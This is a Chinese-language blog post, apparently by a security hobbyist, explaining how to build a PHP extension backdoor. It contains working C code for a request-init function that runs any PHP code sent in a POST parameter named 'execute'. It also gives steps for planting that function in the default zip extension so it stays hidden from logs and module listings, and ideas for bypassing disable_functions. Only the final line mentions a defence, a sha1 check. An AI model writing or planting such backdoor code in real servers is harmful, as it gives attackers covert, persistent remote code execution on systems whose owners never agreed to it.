也叫做PHP扩展后门,前几天看P师傅实现出来了arbitrary-php-extension.
其实很早就有这个想法了,断断续续去看了几个月的PHP内核,也有了实现基本功能的能力了,但是由于懒一直没有下手...直到看到P师傅的仓库才发现,糟糕撞思路了!赶忙抽了个周末晚上的空,花了几个小时去踩了这个坑.
目前大部分此类后门的实现效果都是做成跟诸如菜刀,antSword兼容的类脚本webshell.个人感觉是大材小用了,并且通过查询日志等信息,也容易被发现.我认为其实可以拓展一下,比如说在HTTP请求夹杂一些畸形请求,让日志无法匹配到header.这些还只是初步想法,等入门协议再尝试.
整个流程很简单,在启动了CLI(SAPI)后,会调用一次所有模块的模块初始化函数(MINIT),然后当有请求的时候,调用一次所有模块的请求初始化函数(RINIT),然后执行PHP脚本,然后执行对应的销毁函数.
所以我们只要在请求初始化函数(RINIT)接受参数并且执行,就可以达到类似webshell的效果了.
乌云之前也有PHP拓展后门相关的翻译文章.其实国外很早就有大牛已经实现了.
这是一个最简单的例子,是在PHP5上的拓展后门:
https://github.com/akamajoris/php-extension-backdoor/
由于PHP7函数变动,我们得自己重新实现一个兼容PHP7版本的RINIT函数.
PHP_RINIT_FUNCTION(ftp)
{
char* method = "_POST";
char* secret_string = "execute";
#if PHP_MAJOR_VERSION < 7
zval** arr;
char* code;
if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) == SUCCESS) {
HashTable* ht = Z_ARRVAL_P(*arr);
zval** val;
if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) == SUCCESS) {
code = Z_STRVAL_PP(val);
}
zend_eval_string(code, NULL, (char *)"" TSRMLS_CC);
}
#else
zval* arr,*code =NULL;
if (arr = zend_hash_str_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1)) {
if (Z_TYPE_P(arr) == IS_ARRAY && (code = zend_hash_str_find(Z_ARRVAL_P(arr), secret_string, strlen(secret_string)))) {
zend_eval_string(Z_STRVAL_P(code), NULL, (char *)"" TSRMLS_CC);
}
}
#endif
return SUCCESS;
}
而国内也曾有过相关文章:
https://www.freebuf.com/articles/web/141911.html
文末,作者抛出一些思路
如果系统禁用了eval等函数,还需要通过在后门中加入模块初始化函数(PHP_MINIT_FUNCTION),动态修改php.ini以达到绕过disable_function的目的,另外,为了更好地隐藏自身,还需要在伪装性上下点功夫,比如利用同形异义字欺骗用户的眼睛,比如使得模块名不在php -m中显示等,当然这是后话,希望后续能有这样的文章出现。
思考了一下这个问题,我这里就不使用spoof这种思路了.我认为新开一个进程肯定没有注入进程性价比高.所以不如直接往一个PHP默认的拓展库中加点料.
在尝试了很久后发现,PHP source中的很多extension都没有办法直接一步到位的编译成动态链接库.最后手工fuzz了一下.
发现 ext/zip
这个拓展符合我的预期,可以直接编译成动态链接库十分方便.
直接修改php_zip.c
中的代码:
这里我添加了一个PHP_RINIT_FUNCTION
,也就是请求初始化函数.将其添加到zip_module_entry
中.
最后分别用PHP5.6以及PHP7.2编译出动态链接库.
修改PHP.ini将zip.so添加.
最后思考了一下,觉得这个后门优缺点都有.首先肯定是相对于传统webshell,隐蔽性提高了不止一点半天,但是其原理最终还是进zend解析执行PHP代码,所以当面对未来可能流行的RASP技术的时候还是无力对抗,并且开发成本偏高,需要掌握语言的底层开发.不过目前为止的文章都是实现webshell形式,个人认为这其实是一种作茧自缚的行为.作为算得上是PHP rootkit的后门,应该身处更底层,而不是将维度放在应用层.
我们可以发散一下思维,亮神的文章中也提及了不少,这里就延伸了:
https://blog.csdn.net/micropoor/article/details/8783499
这种后门的防御手段也很简单,比较一下sha1就行了.